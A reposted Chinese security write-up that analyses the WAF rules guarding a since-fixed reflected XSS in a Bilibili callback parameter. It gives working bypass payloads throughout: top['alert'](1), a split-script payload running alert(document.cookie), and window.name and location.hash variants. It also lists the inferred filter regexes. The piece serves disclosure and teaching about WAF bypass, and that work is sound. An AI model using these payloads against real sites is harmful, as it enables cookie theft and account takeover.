内容简介:一、一般waf是由多条正则配合使用,因而绕过也必须根据实际情况构造xss探针
*本文作者:Conan,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
前言
本文 是 以B站一个有趣的XSS(已修复)为引子(为什么说有趣后面再解释),作为实例分析其WAF的规则,方便大家加深对XSS WAF探测以及针对性bypass的理解。
进入主题
一、一般waf是由多条正则配合使用,因而绕过也必须根据实际情况构造xss探针 '`";><aaa bbb=ccc>ddd<aaa/>
的方式逐步理清waf规则,对于没被wa的再在chrome浏览器的element和source看xss探针的解析,慢慢耐心尝试即可。
二、个人对于waf bypass的理解:本来应当被wa会生效的payload不在规则库里或用本来就不会生效的payload(这时候是大概率能通过waf的)经过服务器处理后payload最后生效了。
三、过程
1. 首先是7师傅给了一个链接,让我们绕一绕b站的waf,callback参数存在xss。
2. 上xss探针: ';`"><aaa bbb=ccc>ddd<aaa/>
可以看到探针成功被解析为标签和属性。
3. 上经典payload(这里由于可以控制标签,优先使用 <img><script>
):
对于 <img src=x onerror=alert(1)>
对于 <script>alert(1)<script>
可以看到均被waf拦截了。
4. 分析waf规则:基于从局部到整体的思想(这里是可以写成一个自动化的waf规则探测脚本的,xsstrike有简单的waf探测规则)
这里是xsstrike的简单探测截图:
于是可以率先得到一条waf规则: <script\s+[^>]*src=.*
(注意实际的正则可能特别复杂,这里是简化版的,没有考虑一些特殊字符,比如字母和数字可能可以互换,还有一些特殊字符,空格等等,这里能大致描述清楚waf的正则表达式的主要结构就可以了,下面出现的正则表达式同理) 。
验证一下确实如此 :
5. 开始我们的手工waf规则分析
(1) 局部探测
<img>
会wa么,没有wa:
alert(1)会wa么,没有wa :
单独的onerror会wa么,没有:
src=x会wa么,没有wa:
因此是某部分组合起来了才导致被wa了,单独的并没有 。
(2) 尝试逐步组合
<img src=x>
会wa么,没有wa:
<img src=x onerror=xxxx>
会wa么,没有wa:
<img src=x onerror=alert(>
会wa么,没有wa:
<img src=x onerror=alert(xxxx>
会wa么,终于wa了哈哈:
(3) 回溯waf规则, <img src=x onerror=aaa(bbb>
会wa么,不wa :
这里我们就可以得知aaa处存在黑名单校验,alert在黑名单里,试试prompt/confirm呢 :
均被wa了,单独提取出 onerror=alert(xxxx
呢,竟然不会:
再试试 onerror=alert(xxxx)
,终于wa了 :
这里就要分析为什么 <img src=x onerror=alert(xxxx>
会wa,但 onerror=alert(xxxx
不会,只有补全了右括号才会的原因,我的猜测是前者触发了另一条waf规则(针对标签开头的waf规则 <[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+
,用 <..aaaa onbbbb=alert(ccc
成功触发waf(注意这里用\w的原因是比较懒,经过测试数字型on1111并不会被wa,描述清结构即可=。=)
而后者对应的waf规则直接是 on\w+=(?:prompt|alert|confirm){1}\(\w+\)
。
到这里我们明白我们的payload被wa的原因是触发了下列这两条(同时触发或者触发其中一条都会wa)。
on\w+=(?:prompt|alert|confirm){1}\(\w+\) <[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+
分析第一条规则和第二条规则,最主要的是对弹框函数的过滤,因此使用黑名单之外的函数可能bypass,测试发现console.log可以绕过:
但这里要求是弹框,对于函数的黑名单我们想到了可以用top对象绕过 top['alert'](1)
或者 top['al'+'ert'](1)
由于 []
的存在不匹配字母数字或者下划线( \w
)导致 <img src=x onerror=top['alert'](1)>
不匹配正则表达式也就不会被wa。
(4) 对于7师傅的解法的分析:
a. 使用script标签利用响应包会拼接双写payload绕过(基于特殊情景构造不在waf规则里的无效payload,经过组合后又生效了,也就是上文之前对于bypass的第二种理解)
利用 </script><script>
+ </script></script>
拼接闭合中间的 <script>标签
,然后浏览器解析的时候为我们补上了最后的 </script>
payload向量结构: aaa</script>bbb<script>ccc
可以看到最后aaa和ccc都是在 <script>
标签里了,并且aaa换成函数名+括号可以绕过了正则 <script>.*\(.*\)
,将a替换为 alert(document.cookie)
,将c替换为任意一个不被wa的变量或内置函数对象名即可 console.log
payload: alert(document.cookie)</script>bbb<script>console.log
b. 7师傅的解法巧妙利用了前后双写拼接闭合中间的方式绕过 <script>
后的绝大部分正则检测,但对于正则的描述还不够具体, <script>aaa(bbb)
并不会被wa
因此联想到 <script>alert(1)</script>
被wa还是因为函数的原因,所以正则应该是 <script>.*\s(?:alert|prompt|confirm)\(.*\)
,因此简单的做法还是直接利用top对象绕过即可,payloads: <script>top['alert'](1)</script>
(5) 到这里发现了什么吗?
前面的截图中有的是弹1有的是弹document.cookie,因为7师傅的解法可以弹document.cookie,而其他两种解法的document.cookie被wa了,也就是说我们触发了某些waf规则了。
a. <script>top['alert'](document.cookie)</script>被wa
对比 <script>aaa(document.cookie)
和 <bbb>aaa(document.cookie)
可以发现与 <script>
有关,经测试 <script>document.cookie
和 <script>doucment['cookie']
均wa,再缩小,发现 <script>document[xxx]
和 <script>document.xxx
也wa了,但是 <script>documentxxx
不wa,于是乎可以判断又有两个waf规则很显然,即 <script>.*\s?document\.\w+
和 <script>.*\s?document\[\w+\]
再对比 <script>aaa[](document.cookie)
与 <script>aaa[bbb](document.cookie)
可以发现后者被wa了,此时想到用反引号代替括号,但反引号内的 document.cookie
并不会被解析为对象,确实绕过了规则但并没有实现弹cookie,
到这里基本可以归纳补充加入反引号的规则的逃逸为 <script>[^`]*document\.\w+
和 <script>[^`]*document\[\w+\]
缩小的过程的还发现 <script>\w+\.cookie
也会wa,到这里我就不想弹cookie了,打扰了。
尝试加载远程src,发现 <script\s(.*\s)?src(=\w+)?>
也wa了,到这里基本放弃对 <script>
后的规则的bypass了,打扰了。
b. <img src=x onerror=top['alert'](document.cookie)>
经过a的分析,对于标签内的document.cookie的规则我觉得也是凶多吉少,这里不再尝试
c. 尝试了下a标签,发现 <a href=javascript:xxx
就会被wa,但是 <a href=ccc>
和 <a yyy=javascript:xxx>
和 <bbb href=javascript:xxx>
以及 javascript:xxx(yyy)
都不会wa,于是可以明白对a标签的href属性的伪协议做了针对,为 <a\s(.*\s)?href=javascript:.*>
d. 最终的变相绕过:利用window.name或location.hash放置payload,由于window.name和location.hash.slice(1)不会经过服务器也就不会触发waf
window.name版的payload: <img%20src=x%20onerror=top[%27alert%27](window.name)>
location.hash.slice(1)版的payload: <img%20src=x%20onerror=top[%27alert%27](location.hash.slice`1`)>#document.cookie
,测试发现触发了另一条规则导致被wa了, <img\s[^>]*on\w+=\w+\[\w*\]\(\w*\)
和 <img\s[^>]*on\w+=`\w*`.*
(6) 由于可以控制标签,也就是说可以对b站的waf规则做一遍深入的探测,同时可能利用的姿势也会很多,也可能利用多种编码以及特殊字符等等,但fuzz的工作量也会增多,这里的重点是对waf规则的探测分析与针对正则层面的bypass,因此就不继续下去了。
(7) 至今已发现的b站waf规则总结:
on\w+=(?:prompt|alert|confirm){1}\(\w+\) <[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+ <script>[^`]*document\[\w+\] <script>[^`]*document\.\w+ <script>\w+\.cookie <script\s(.*\s)?src(=\w+)?> <a\s(.*\s)?href=javascript:.*> <img\s[^>]*on\w+=\w+\[\w*\]\(\w*\) <img\s[^>]*on\w+=`\w*`.*
当然这些规则可能不会很准确,但能帮助我们基本了解大概的waf规则结构,然后才可以做出相应的bypass。
从我们已经分析出的规则,b站对on事件的过滤、对a标签的href属性的过滤和对 <script>
后的极尽苛责的过滤可以看出b站的waf确实很有故事=。=。
(8) 修复方案:增加规则库或者实体编码转义尖括号
总结
上述仅仅讲述了waf 规则探测的基本思想和简单的bypass以及自己对waf的一些理解,师傅们当茶点看看就好,不喜勿喷哈,欢迎交流=。=
*本文作者:Conan,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 渗透&&探测 (之UDP探测篇)
- 渗透测试之子域名探测指南
- 使用 JavaScript 探测网络状态
- WebP 可用性探测
- 如何探测小程序返回到webview页面
- 基于BurpSuite快速探测越权-Authz插件
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
HTTP
David Gourley、Brian Totty、Marjorie Sayer、Anshu Aggarwal、Sailu Reddy / O'Reilly Media / 2002-10-7 / USD 54.99
Product Description Web technology has become the foundation for all sorts of critical networked applications and far-reaching methods of data exchange, and beneath it all is a fundamental protocol......一起来看看 《HTTP》 这本书的介绍吧!